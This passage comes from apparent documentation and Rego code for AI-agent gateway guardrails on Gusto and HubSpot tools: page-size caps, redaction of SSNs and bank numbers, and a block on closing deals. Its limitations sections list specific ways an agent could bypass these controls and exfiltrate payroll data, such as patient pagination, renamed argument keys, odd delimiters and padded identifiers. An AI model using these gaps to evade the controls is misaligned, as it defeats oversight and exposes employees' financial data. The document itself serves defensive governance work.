All other arguments (`page`, entity-ID filters, date ranges) are preserved unchanged by the rewrite. ## Examples ### Passed through unchanged ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gusto-mcp-list_company_employees", "type": "tool" }, "subject": { "claims": { "groups": ["engineering"] } }, "payload": { "name": "gusto-mcp-list_company_employees", "args": { "company_uuid": "co-1", "per": 25, "include": "jobs" } } } } ``` `allow = true`, no transform — `per` is already within the cap and no `custom_fields` expansion was requested. ### Transformed (non-admin bulk pull) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gusto-mcp-list_company_employees", "type": "tool" }, "subject": { "claims": { "groups": ["engineering"] } }, "payload": { "name": "gusto-mcp-list_company_employees", "args": { "company_uuid": "co-1", "per": 200, "include": "custom_fields" } } } } ``` `allow = true`, transform rewrites the args to `{ "company_uuid": "co-1", "per": 25, "include": "" }` — page size clamped and the custom-field expansion stripped. ### Exempt (HR-payroll admin) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "gusto-mcp-list_company_employees", "type": "tool" }, "subject": { "claims": { "groups": ["hr-payroll-admins"] } }, "payload": { "name": "gusto-mcp-list_company_employees", "args": { "company_uuid": "co-1", "per": 500, "include": "custom_fields" } } } } ``` `allow = true`, no transform — HR-payroll admins keep full pagination and field expansion. ## Composition This policy bounds roster *volume* and strips the *custom-field* expansion on the two broad list tools. It is not a complete Gusto guard on its own. Useful companions: - An ingress **default-deny allowlist** (PF-28) that pins the audited official tool names per tenant — this is what covers community kebab-case list tools (`get-all-employees`) and any StackOne/aggregator write surfaces that this suffix-matching transform does not. - An ingress **deny of compensation/payroll reads** by IdP group, and an egress **home-address / financial-identifier redaction** policy, so the records that *do* come back through the capped page are also content-masked. ## Known limitations - **Group names are placeholders — replace `hr-payroll-admins` with your IdP's group name at import time.** The exemption reads `input.subject.claims.groups` (an array). A caller with no claims, no `groups` claim, or a `groups` claim that is not an array is treated as **not** an HR-payroll admin and is clamped (fail-closed for the exemption). If your IdP emits groups as a space-delimited string rather than an array, adapt the `caller_is_hr_payroll_admin` helper. - **Official names only; community and aggregator servers are not covered.** Suffix matching anchors on the official `list_company_*` names. The community `Savinda96/gusto-mcp` server uses kebab-case (`get-all-employees`) and StackOne uses unified `hris_*`-style names (unverified) — neither matches this policy. Cover those surfaces with a per-server default-deny allowlist (see Composition), not by widening this transform. - **`per` absence is not injected.** If `per` is omitted the call passes through; this relies on Gusto's documented default page size being 25. Verify your server's default and inject `per: 25` on absence if it is larger. - **Argument keys are matched exactly (`per`, `include`, lowercase).** The clamp reads the top-level key `per` and the strip reads `include` verbatim — the docs-confirmed Gusto arg names. A case-variant key (`Per`, `PER`) or an aggregator/community server that names its page-size arg differently (`limit`, `maxResults`, `pageSize`) is **not** clamped: an unrecognised key is treated as `per` being absent, so the call falls back to the per-absence behaviour above (server default page size). This is safe against the official server (which uses lowercase `per`) but means the same per-server default caveat applies — if you wire Gusto through an aggregator with a different pagination arg, extend `per_value` / `covered_tool_suffixes` to that server's key, or front it with a default-deny allowlist (see Composition). - **`include` argument shape is docs-confirmed but the exact serialization is not verbatim.** The policy handles comma-separated string and array forms of `include`, and (as of the red-team hardening) also splits each string element of the array form on comma, so a token smuggled inside a single comma-joined array element (`["jobs,custom_fields"]`) is still stripped. Two residuals remain: (a) **only comma is treated as a delimiter** — if your server accepts a non-comma separator (semicolon, space), `"jobs;custom_fields"` passes through unstripped; (b) a server that nests field selection under a different key or non-string structure passes through unstripped. Confirm the live shape from `tools/list` and extend `is_custom_fields_token` / the delimiter if needed. - **Per-request caps do not stop patient pagination.** An agent that walks the `page` cursor page by page at `per: 25` can still enumerate the full roster — it just takes more calls. Detecting cursor-driven crawls requires cross-request state the policy engine does not have; use gateway audit logs / alerting to spot high-frequency paging. > **Compliance note.** This policy supports alignment with the cited framework > controls **on the MCP path only**. No policy or bundle makes an organization > compliant with any framework; web-UI, native-API, and in-app access are > outside the gateway's reach by design. Validate against your own compliance > program before relying on it. ```rego package gusto.ingress.cap_roster_export # Transform-only policy — never denies, only clamps page size and strips the # custom-field expansion on Gusto's broad roster list tools. default allow := true # Maximum records a single non-admin list call may request. max_per := 25 # --- Tool matching ----------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, so we # match case-insensitively by suffix to stay portable. These are the official # Gusto MCP list tools (verified verbatim from the Gusto MCP docs). Community # kebab-case (`get-all-employees`) and aggregator (`hris_*`) list tools are not # matched here — cover those with a default-deny allowlist. See Known limitations. covered_tool_suffixes := [ "list_company_employees", "list_company_contractors", ] is_covered_tool if { some suffix in covered_tool_suffixes endswith(lower(input.resource.name), suffix) } # --- Identity exemption ------------------------------------------------------ # HR-payroll admins retain full pagination and field expansion. Missing/empty # claims fail closed for the exemption (no group -> not exempt -> clamped). # `hr-payroll-admins` is a placeholder — replace with your IdP group at import. claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) caller_is_hr_payroll_admin if { some g in groups lower(g) == "hr-payroll-admins" } # --- Argument access (object.get everywhere — fields may be missing) --------- args := object.get(input.payload, "args", {}) # --- Page-size clamp --------------------------------------------------------- per_value := object.get(args, "per", null) # Clamp when a numeric `per` exceeds the cap. needs_per_clamp if { is_number(per_value) per_value > max_per } # Clamp when a numeric `per` is below 1 (0 or negative). Some servers treat a # non-positive `per` as "unbounded" or fall back to a large default page, so # `per: 0` / `per: -1` would otherwise be a fail-open bypass of the cap. needs_per_clamp if { is_number(per_value) per_value < 1 } # Clamp when `per` is present but not a number (fail safe: replace an # unparseable value with the cap rather than letting the server default win). needs_per_clamp if { per_value != null not is_number(per_value) } default per_patch := {} per_patch := {"per": max_per} if needs_per_clamp # --- Custom-field strip ------------------------------------------------------ # `include=custom_fields` is the docs-confirmed expansion we remove. Handle both # the comma-separated string form and the array form; leave other tokens intact. raw_include := object.get(args, "include", null) is_custom_fields_token(tok) if { is_string(tok) lower(trim_space(tok)) == "custom_fields" } # String form contains custom_fields as one of its comma-separated tokens. include_has_custom_fields if { is_string(raw_include) some tok in split(raw_include, ",") is_custom_fields_token(tok) } # Array form contains a custom_fields entry. Each string element is also split # on comma before matching, so a caller cannot smuggle the token inside a single # comma-joined element (e.g. ["jobs,custom_fields"]) past the array branch. include_has_custom_fields if { is_array(raw_include) some elem in raw_include is_string(elem) some tok in split(elem, ",") is_custom_fields_token(tok) } # Rebuild the string include without the custom_fields token (order preserved, # empty tokens dropped). Result may be "" when custom_fields was the only token. stripped_include_string := concat(",", [trim_space(tok) | some tok in split(raw_include, ",") not is_custom_fields_token(tok) trim_space(tok) != "" ]) # Rebuild the array include without any custom_fields entries. Each string # element is split on comma so comma-joined elements are normalised into # individual tokens and any custom_fields token inside them is dropped; empty # tokens are removed. (Non-string elements are not expected in `include` and are # dropped — field selectors are strings.) stripped_include_array := [trim_space(tok) | some elem in raw_include is_string(elem) some tok in split(elem, ",") not is_custom_fields_token(tok) trim_space(tok) != "" ] default include_patch := {} include_patch := {"include": stripped_include_string} if { is_string(raw_include) include_has_custom_fields } include_patch := {"include": stripped_include_array} if { is_array(raw_include) include_has_custom_fields } # --- Transform --------------------------------------------------------------- # One combined transform: both the page-size clamp and the custom-field strip # can apply to the same call, so we union both patches into a single rewrite. any_change if needs_per_clamp any_change if include_has_custom_fields transform := {"transformed_payload": object.union(object.union(args, per_patch), include_patch)} if { input.action == "tool_pre_invoke" is_covered_tool not caller_is_hr_payroll_admin any_change } ``` ### Gusto: Redact Financial IDs in Responses URL: https://www.intentbasedpolicy.com/policies/gusto/redact-financial-ids-egress App(s): gusto | Direction: egress | Bundles: soc2, gdpr-ccpa | Package: gusto.egress.redact_financial_ids | Published: 2026-07-12 | Tags: gusto, redact-pii-egress, redact-pii, pii, financial-pii, dlp, redaction, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/gusto/redact-financial-ids-egress/policy.md # gusto / redact-financial-ids-egress **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `gusto.egress.redact_financial_ids` ## What it does Instantiates **PF-02 (redact-pii-egress)** on the Gusto read path. On the response path — for **every** Gusto tool, regardless of which read tool produced the output — it scans the returned text and rewrites the most regulated financial identifiers to a single fixed masked token before the response reaches the agent context: | Class | Detection | Token | |---|---|---| | US SSN (employee tax ID) | canonical hyphenated `XXX-XX-XXXX` form | `[REDACTED-FINANCIAL-ID]` | | Bank account number | run of **8 or more** digits immediately preceded by an account label (`account`, `acct`, `a/c`, `bank`) | `[REDACTED-FINANCIAL-ID]` | | ABA routing number | run of **9 or more** digits immediately preceded by a routing label (`routing`, `aba`, `rtn`) | `[REDACTED-FINANCIAL-ID]` | Matched substrings are replaced in place — the surrounding record/row structure and every non-matching character (including the account/routing **label**) are left byte-identical, so the agent still gets a usable record with only the regulated identifiers masked. Redaction **replaces** the matched span with a masked token rather than dropping the field, so tax-locale and reconciliation answers that reference the surrounding record still work. This is a **transform-only** policy (`default allow := true`): it never denies a call. Responses with no matches pass through byte-identical, and every field is read via `object.get`, so a missing or oddly-shaped payload is never an error — it simply passes through. ## Why this is cheap insurance Gusto's **official** MCP server is read-only and, per its docs, does not expose bank-account/routing or full tax-ID fields. But community wrappers and aggregator servers (StackOne, MCPBundles' skill, coretext packages) surface pay stubs, company/contractor **bank accounts**, and federal/state tax detail the official server does not. Because this policy is **pattern-based and not tied to any tool's response schema**, it protects against those wider read surfaces without needing to know each tool's exact field names — it keeps working the moment a tenant swaps in a community/aggregator server that returns bank data. Gusto's own docs warn against mixing this server with other connectors in one session because of data-leakage risk. This egress guard reduces the blast radius of exactly that cross-connector exfiltration: even if the agent pulls a bank-account or SSN field and tries to leak it through another connector, the most regulated identifiers have already been stripped on the way out of Gusto. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct financial identifiers as they leave the gateway toward the agent. - **SOC 2 C1.1** — supports identification and protection of confidential information on the payroll read path; **P4.1** — supports limiting personal-information use to identified purposes by keeping raw identifiers out of agent context that does not need them; **P6.1** — supports controls over personal-information disclosure by masking it before it reaches the agent channel. - **GDPR Art. 5(1)(c)** — supports data minimisation on agent reads of personal financial data; **Art. 9** — reduces special-category exposure on the MCP path where financial identifiers co-occur with HR/payroll data; **Art. 5(1)(f) / Art. 32** — supports security of processing on the agent channel. - **CCPA/CPRA §1798.121** — supports limiting the use and disclosure of sensitive personal information; under CPRA, SSN and financial-account numbers are expressly sensitive PI. **§1798.150** — reduces nonredacted-PI breach exposure. ## Why egress The financial PII already lives in Gusto — there is nothing to block at ingress, and denying the read outright would make the agent useless for everyday payroll and reconciliation work. The leak happens when the record or result is returned to the MCP client, so the response path is the only place to catch it while keeping the result useful. ## Tool name matching (intentionally none) Unlike a tool-scoped redactor, this policy is **not** keyed to a set of tool names. It fires on the whole Gusto egress path — any `tool_post_invoke` response through the pipeline this policy is attached to. That is deliberate: the same regulated data ("employee SSN", "contractor bank account") comes back under *different* tool names across implementations — the official server uses bare `snake_case` (`get_gusto_employee`, `list_company_contractor_payments`), the `Savinda96` community server uses `kebab-case` (`get-employee`), and StackOne uses unified `hris_*`-style action IDs. A name-list would silently miss whichever implementation a tenant actually wires in. Scanning every response instead means the guard does not depend on knowing each tool's exact name or response schema. Egress scope is detected on **any** of the three signals the gateway may populate — `input.mode == "output"`, the PARC `input.action == "tool_post_invoke"`, or the legacy `input.kind == "tool_post_invoke"`. Keying on only one fails open (redaction no-ops) on a build that populates a different one — an older gateway near the minimum version may emit only the legacy `kind`. Ingress calls (`tool_pre_invoke` / mode `"input"`) satisfy no branch, so the transform never fires on the request path. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each **string** block (including string blocks that carry serialized JSON record data, since the regexes run over the serialized text). Non-string (structured) blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (employee read, canonical SSN) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "gusto-get_gusto_employee", "type": "tool" }, "payload": { "name": "gusto-get_gusto_employee", "text": ["employee 214 | ssn 123-45-6789 | dept payroll"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["employee 214 | ssn [REDACTED-FINANCIAL-ID] | dept payroll"]`. ### Redacted (contractor bank read from a community server) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "gusto-community-get-contractor-bank", "type": "tool" }, "payload": { "name": "gusto-community-get-contractor-bank", "text": ["contractor Acme | account number: 000123456789 | routing 021000021"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["contractor Acme | account number: [REDACTED-FINANCIAL-ID] | routing [REDACTED-FINANCIAL-ID]"]` (the `account` / `routing` labels are preserved; only the numbers are masked). ### Passed through (clean response) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "gusto-list_company_departments", "type": "tool" }, "payload": { "name": "gusto-list_company_departments", "text": ["Engineering, Sales, Support"] } } } ``` `allow = true`, no `transform` — nothing matched. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with the deny/transform policies on the same Gusto pipeline. It is designed to sit **behind two ingress fences** so that data blocked at request time cannot leak, and data that is still returned is stripped of the most regulated identifiers: - **A compensation/payroll-read fence (ingress deny)** — blocks compensation/payroll reads for callers outside the payroll-admin IdP group, so the sensitive data ideally never leaves Gusto; this egress redaction is the backstop for identifiers that still come back through allowed reads. - **A roster-export cap (ingress transform)** — clamps `per` and strips `include=custom_fields` on the broad `list_*` tools, so a caller can't pull the whole roster in one call and dilute the value of per-record masking. Because egress transforms compose sequentially in pipeline-attachment order, mind the ordering if another egress transform (e.g. a home-address redactor) runs on the same pipeline. The fixed token contains no digits and no account/routing label word, so no later redaction step can re-match a token this policy emitted. ## Known limitations - **Operates on serialized response text — deeply nested or encoded fields are a residual.** The regexes run over the string content blocks of `input.payload.text`. Values that are base64/hex-encoded, split across separate content blocks or JSON cells, or buried in a structured non-string block are **not** decoded and so are not caught. Treat this as a high-signal minimum-necessary layer, not a complete DLP solution; pair it with the ingress compensation-read fence that stops the sensitive read in the first place. - **SSN detection is canonical-form only.** SSN is matched in the hyphenated `XXX-XX-XXXX` form. Bare 9-digit runs are deliberately **not** matched — they collide with amounts-in-cents, sequence numbers, and other ordinary figures a payroll response carries, which would fire constant false positives. The separator is a literal ASCII hyphen: dot-, space-, tab-, or **non-ASCII-hyphen**-separated forms (`123.45.6789`, `123 45 6789`, and a U+2011 non-breaking hyphen `123‑45‑6789`) and full-width/ unicode-digit forms are not matched either. The pattern is **word-boundary anchored**, so any word character — a digit *or a letter* — fused to either end (`123-45-67890`, `4123-45-6789`, `ref123-45-6789`, and a *trailing* letter `123-45-6789ref`) breaks the boundary and the value passes through unmasked — deliberate, to keep the pattern from matching inside longer numeric IDs, but it means an identifier stored padded with an adjacent word character evades this class (a padded value is also corrupted, limiting its usefulness; and at egress the upstream response text, not the agent, controls this formatting). The ingress compensation-read fence is the backstop. - **Bank/routing detection is label-anchored.** A bank account or routing number is only masked when an account label (`account`, `acct`, `a/c`, `bank`) or routing label (`routing`, `aba`, `rtn`) appears within 12 non-digit characters — **on the same line** — before the digit run. The connector character class excludes newlines, so a label printed on its own line *above* its value (as in pretty-printed JSON or a multi-line record, e.g. `account:\n12345678`) is **not** anchored and the number passes through unmasked — a residual fail-open on multi-line output; pair with the ingress compensation-read fence. This is deliberately conservative: an unlabelled bare digit run is indistinguishable from an amount, internal ID, or date and is left intact. The 8-digit floor (account) / 9-digit floor (routing) also applies to **labelled** runs, so a labelled number shorter than the floor passes through unmasked. The label's **start** must sit on a word boundary (the `\b` precedes the label), but there is **no** boundary anchor after the label. So a word that merely *ends with* or *contains* a label word is not anchored and passes through (`subaccount 12345678`, `mybank 12345678`), but a word that *begins* with a label word at a boundary **does** match on the label prefix and is masked (`bankaccount 12345678` → the `bank` prefix anchors, so it is over-masked — safe on egress, never disclosure). The label may also sit directly against the digits with no separator (`account12345678`) and is still masked (the connector group matches zero characters); this is why a trailing `\b` after the label is deliberately omitted — it would fail open on that no-separator form. The digit run must be **contiguous**: a number printed with internal spaces or hyphens (`account 1234 5678 9012`) has no single run reaching the floor and passes through. The digit run has **no upper length bound** (greedy `\d{8,}` / `\d{9,}`, no trailing word-boundary anchor), so a long labelled run is masked in full rather than failing open on over-length runs. The flip side of the label anchor is a residual **over-redaction** — an unrelated digit run that happens to follow one of those label words (e.g. `account balance is 12345678`) is masked. On egress this is safe (over-masking, never disclosure) but can obscure legitimate figures. - **Applies to every tool on the attached pipeline.** By design there is no tool-name allowlist, so this must be attached to the **Gusto** egress pipeline only. Attaching it to a mixed pipeline would run the same financial-ID redaction over unrelated servers' responses (safe, but likely unintended over-masking). - **No identity-based exemption.** Every caller receives the same redaction; there is no `groups`-claim break-glass. If you need a payroll-admin group to read raw values, add an `is_exempt` branch reading `input.subject.claims.groups` via `object.get` chains (failing closed), as in the QuickBooks/Snowflake `redact-pii-egress` model. Group names would be placeholders — replace them with your IdP's group name at import time. Never rely on stripped ContextForge-internal claims (`is_admin`, `teams`, `user`) for such a check. - **Tool names in the examples are illustrative.** The gateway prepends the configured MCP server-name prefix (e.g. `gusto-`), which is not standardised; since this policy does not match on tool names, the prefix does not affect it, but verify with the dump-input debug technique that responses arrive on the egress path as expected. The official Gusto tool names are verified in the landscape note; community/aggregator names (`kebab-case`, `hris_*`) are **unverified** and are precisely why this guard scans all responses rather than a name list. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package gusto.egress.redact_financial_ids # Transform-only egress policy: rewrites the most regulated financial identifiers # (US SSN, and label-anchored bank account / ABA routing numbers) in EVERY Gusto # tool response to a single fixed masked token before the response reaches the # agent. Never denies — a legitimate read still succeeds, just with financial IDs # masked. Instantiates PF-02 on the Gusto read path. It is intentionally NOT # scoped to a tool-name list: the same data comes back under different tool names # across the official / community / aggregator servers, so scanning all responses # is the robust posture (see the policy description). default allow := true # Fixed masked token. Contains no digits and no account/routing label word, so no # redaction step can re-match a token emitted by an earlier step — the chain # order below is therefore safe. mask_token := "[REDACTED-FINANCIAL-ID]" # ----------------------------------------------------------------------------- # Egress scope. Match the post-invoke/output path on ANY of the three egress # signals the gateway may populate — mode ("output"), the PARC action, or the # legacy `kind` alias. Keying on only a subset fails open (redaction no-ops, # leaking PII) on a build that populates a different one: an older gateway near # the minimum version may emit only the legacy `kind` while leaving `action`/ # `mode` unset. Ingress (tool_pre_invoke / mode "input") satisfies no branch. # ----------------------------------------------------------------------------- is_egress if { input.mode == "output" } is_egress if { input.action == "tool_post_invoke" } is_egress if { input.kind == "tool_post_invoke" } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on the # many ordinary numbers a payroll response carries (amounts, hours, rates, IDs). # ----------------------------------------------------------------------------- # US SSN (employee tax ID) in the canonical hyphenated 3-2-4 form only. Bare # 9-digit runs are NOT matched — they collide with amounts-in-cents, sequence # numbers, and other ordinary figures. Word-boundary anchored so a digit fused to # either end does not match inside a longer numeric run. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Bank account number: a run of 8-or-more digits immediately preceded by an # account label (within 12 non-digit chars). Label-anchored so a bare digit run # (amount, internal ID, date) is never masked. Greedy \d{8,} with no trailing # word boundary so a long account run is masked in full (a trailing \b can never # sit inside an all-digit run and would fail open on over-length runs). Capture # groups $1 (label) and $2 (connector) are preserved in the replacement; only the # numeric run is masked. bank_pattern := `(?i)\b(account|acct|a/c|bank)([^0-9\n]{0,12})(\d{8,})` # ABA routing number: a run of 9-or-more digits immediately preceded by a routing # label. US routing numbers are exactly 9 digits; \d{9,} masks the full run (and # any longer malformed run) rather than failing open on it. Same label-anchor and # group-preservation semantics as the bank pattern. routing_pattern := `(?i)\b(routing|aba|rtn)([^0-9\n]{0,12})(\d{9,})` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class does not apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, mask_token) # Preserve the account label ($1) and the connector ($2); mask only the numeric run. redact_bank(t) := regex.replace(t, bank_pattern, sprintf("$1$2%s", [mask_token])) # Preserve the routing label ($1) and the connector ($2); mask only the numeric run. redact_routing(t) := regex.replace(t, routing_pattern, sprintf("$1$2%s", [mask_token])) # Order: SSN (hyphenated, disjoint from the bank/routing digit runs) then the # label-anchored bank then routing patterns. The mask token contains no digits and # no label words, so no later step can re-match an earlier step's token. redact_block(b) := redact_routing(redact_bank(redact_ssn(b))) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only on the egress path when at least one block actually # changed. Otherwise the rule is undefined and the aggregator skips this policy, # returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_egress is_array(text_blocks) redacted_blocks != text_blocks } ``` ### HubSpot Block Deal Closure URL: https://www.intentbasedpolicy.com/policies/hubspot/block-deal-closure App(s): hubspot | Direction: ingress | Bundles: crm | Package: hubspot.ingress.no_close_deal | Published: 2026-06-16 | Tags: hubspot, deals, access-control, governance, ingress Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/block-deal-closure/policy.md # hubspot / block-deal-closure **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `hubspot.ingress.no_close_deal` ## What it does Blocks HubSpot CRM-object calls that move a deal into a closed stage (`closedwon` or `closedlost`). Both create and update requests are inspected. Every other deal change — and every other HubSpot tool — passes through unchanged. ## Compliance alignment - **SOC 2 CC6.3** — role-based access and segregation of duties: moving a deal into a closed stage stays a human decision; the agent channel cannot consummate the close. ## Why ingress Closing a deal is a write with permanent side effects on the CRM (revenue reporting, workflow automation, downstream syncs). The violation is fully determined by the request payload, so denying at ingress prevents the stage change from ever reaching HubSpot. ## How it matches Two conditions must both hold for a call to be denied: - **Tool match.** The (lowercased) tool name ends with `-manage-crm-objects` — the HubSpot MCP tool that creates and updates CRM records. Suffix matching keeps the policy portable regardless of the MCP server name the gateway adds as a prefix. - **Closing a deal.** Within the call's `createRequest.objects` or `updateRequest.objects`, an object whose `objectType` is `deals` sets `properties.dealstage` to `closedwon` or `closedlost` (case-insensitive). ## Tool naming on the gateway DTwo prefixes tool names with the MCP server name configured on the gateway, so a HubSpot server registered as `hubspot` surfaces `hubspot-manage-crm-objects` while one registered as `hubspot-mcp` surfaces `hubspot-mcp-manage-crm-objects`. This policy matches on the **suffix** (`-manage-crm-objects`) so it stays portable across naming conventions. Confirm the exact tool name with the dump-input debug technique before deploying. ## Configuring closed stages The blocked stages live in `closed_stages` at the top of the Rego (`closedwon`, `closedlost`). If your pipeline uses custom closed-stage internal names, add them there. ## Examples ### Allowed (non-closing update) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-manage-crm-objects", "type": "tool" }, "payload": { "name": "hubspot-manage-crm-objects", "args": { "updateRequest": { "objects": [ { "objectType": "deals", "id": "12345", "properties": { "dealstage": "qualifiedtobuy" } } ] } } } } } ``` `allow = true`, no reason. ### Denied (closing a deal) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-manage-crm-objects", "type": "tool" }, "payload": { "name": "hubspot-manage-crm-objects", "args": { "updateRequest": { "objects": [ { "objectType": "deals", "id": "12345", "properties": { "dealstage": "closedwon" } } ] } } } } } ``` `allow = false`, `reason = "Closing deals is not allowed. Contact your InfoSec team to get access."`. ## Known limitations - **Suffix tool-name match.** The policy matches any tool ending in `-manage-crm-objects`. If a non-HubSpot MCP server happened to expose a tool with that same suffix, it would also be inspected — narrow the match if that is a concern in your environment. - **Custom stage names.** Only `closedwon` / `closedlost` are blocked by default; custom closed-stage internal names must be added to `closed_stages`. - **No identity-based exemptions.** All callers are treated the same. To allow a break-glass role to close deals, add an `allow if` branch gated on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package hubspot.ingress.no_close_deal default allow := false closed_stages := {"closedwon", "closedlost"} allow if { not is_closing_deal } is_closing_deal if { endswith(lower(input.resource.name), "-manage-crm-objects") some obj in object.get(object.get(input.payload.args, "updateRequest", {}), "objects", []) lower(object.get(obj, "objectType", "")) == "deals" stage := lower(object.get(object.get(obj, "properties", {}), "dealstage", "")) closed_stages[stage] } is_closing_deal if { endswith(lower(input.resource.name), "-manage-crm-objects") some obj in object.get(object.get(input.payload.args, "createRequest", {}), "objects", []) lower(object.get(obj, "objectType", "")) == "deals" stage := lower(object.get(object.get(obj, "properties", {}), "dealstage", "")) closed_stages[stage] } reasons contains "Closing deals is not allowed. Contact your InfoSec team to get access." if { is_closing_deal } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### HubSpot Cap Bulk Export URL: https://www.intentbasedpolicy.com/policies/hubspot/cap-bulk-export App(s): hubspot | Direction: ingress | Bundles: crm, soc2, hipaa, pci-dss, gdpr-ccpa | Package: hubspot.ingress.cap_bulk_export | Published: 2026-07-12 | Tags: hubspot, cap-bulk-export, pii, data-minimisation, ingress, soc2, hipaa, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/hubspot/cap-bulk-export/policy.md # hubspot / cap-bulk-export **Direction:** ingress (`tool_pre_invoke`) **Default:** allow (transform-only — never denies) **Package:** `hubspot.ingress.cap_bulk_export` ## What it does Clamps the page size of HubSpot bulk-read tool calls before they reach the HubSpot MCP server, so a single agent request to a **covered** bulk-read tool can never pull more than 50 CRM records. (Coverage is by tool-name suffix — see Tool name matching and Known limitations for what is and isn't clamped.) Contact, company, deal, and ticket records carry names, emails, phones, and addresses — search/list pagination is the mass-PII export channel in every HubSpot MCP implementation. Two clamps are applied: - **Page-size clamp** — on search/list tools, any numeric `limit` outside the range 1–50 is rewritten to 50: values above the cap, and non-positive values (`limit: 0` / negatives, which some servers treat as "unbounded"). `limit: 50` is also injected when the field is absent or non-numeric (the remote server otherwise defaults up to 200 records per page). Calls that already request between 1 and 50 pass through untouched. - **Batch-read truncation** — on ids-style batch reads (`get_crm_objects` accepts up to 100 IDs; `hubspot-batch-read-objects` takes an `inputs` array), any `ids` / `objectIds` / `inputs` array longer than 50 entries is truncated to its first 50. The policy never denies, so read workflows keep functioning — just at bounded page sizes. Every possibly-missing field is read with `object.get`, so malformed or minimal calls pass through rather than erroring. ## Compliance alignment - **SOC 2 CC6.7** — supports the restriction on transmission/movement/removal of information by bounding how much CRM data any single agent call can move out of HubSpot. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary standard: agents retrieve pages sized to the task, not the maximum the API permits. - **PCI DSS 7.2.6** — supports restricting programmatic/agent access to repositories of stored cardholder data: bounding the record count a single query can retrieve keeps an over-broad agent read from mass-extracting card-adjacent CRM data. - **GDPR Art. 5(1)(c)** — data minimisation on the agent channel: the query is minimised *before* it reaches HubSpot; **Art. 5(1)(d)** — smaller read/write surfaces reduce mass-corruption blast radius on downstream batch workflows. - **CCPA 11 CCR §7002** — supports proportionality: collection and use of personal information stays proportionate to the disclosed purpose rather than defaulting to bulk retrieval. ## Why ingress The over-broad request itself is the problem: once HubSpot has returned 200 records, an egress policy can only mask fields — the volume has already been fetched, logged, and counted against rate limits. Rewriting `limit` at ingress enforces minimisation before the query executes, which is the only place the record *count* can be controlled. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `hubspot-mcp-hubspot-list-objects`), so matching is by case-insensitive suffix to stay portable across deployments. Covered names, per server family: - **Remote server / Claude connector** (verified): `search_crm_objects`, `get_crm_objects` - **`@hubspot/mcp-server` local beta** (verified): `hubspot-search-objects`, `hubspot-list-objects`, `hubspot-batch-read-objects` - **shinzo-labs community server** (verified names): `crm_list_objects`, `crm_search_objects`, `crm_search_contacts`, `crm_search_companies` Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production, and extend the suffix lists if your server exposes additional list/search tools. ## Argument shape - Search/list tools take a top-level numeric `limit` (verified for `search_crm_objects` / `hubspot-search-objects`, alongside `objectType`, `query`, `filterGroups`, `properties`, `after`). All other arguments are preserved unchanged by the rewrite. - `hubspot-batch-read-objects` takes `objectType` + an `inputs` array (verified pattern for the local-beta batch tools). - `get_crm_objects` accepts up to 100 IDs, but HubSpot does not fully publish the parameter name — the policy truncates both common shapes (`ids` and `objectIds`) when present as arrays. Confirm the live shape from `tools/list` before relying on this clamp. ## Examples ### Passed through unchanged ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-remote-search_crm_objects", "type": "tool" }, "payload": { "name": "hubspot-remote-search_crm_objects", "args": { "objectType": "contacts", "query": "smith", "limit": 25 } } } } ``` `allow = true`, no transform — the requested page size is already within the cap. ### Transformed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "hubspot-remote-search_crm_objects", "type": "tool" }, "payload": { "name": "hubspot-remote-search_crm_objects", "args": { "objectType": "contacts", "query": "smith", "limit": 200 } } } } ``` `allow = true`, transform rewrites the 